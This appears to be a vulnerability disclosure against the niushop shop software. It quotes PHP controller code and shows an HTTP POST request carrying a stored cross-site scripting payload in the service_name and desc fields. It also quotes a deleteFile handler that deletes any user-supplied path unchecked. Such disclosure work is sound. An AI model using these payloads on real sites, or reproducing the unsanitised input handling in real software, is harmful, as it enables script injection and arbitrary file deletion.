niuteam / niushop Goto Github PK

    public function add()
    {
        if (request()->isAjax()) {
            $service_name = input('service_name', '');
            $data         = [
                'site_id'      => $this->site_id,
                'service_name' => $service_name,
                'desc'         => input('desc', 0)
            ];
            $model        = new GoodsServiceModel();
            $res          = $model->addService($data);
            return $res;
        }
    }

POST /shop/goodsservice/add.html HTTP/1.1
Host: 192.168.30.107:88
Content-Length: 105
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.30.107:88
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.30.107:88/shop/goodsservice/lists.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=c960d40bde422ace2afc7939478900a1
Connection: close

service_name=%22%3E%3CScript%3Ealert(111)%3C%2Fscript%3E&desc=%22%3E%3CScript%3Ealert(111)%3C%2Fscript%3E

public function deleteFile()
    {
        if (request()->isAjax()) {
            $path = input("path", '');
            $res = false;
            if (!empty($path)) {
                $res = delFile($path);
            }
            return $res;
        }
}

function delFile($path)
{
    $res = false;
    if (file_exists($path)) {
        $res = unlink($path);
    }
    return $res;
}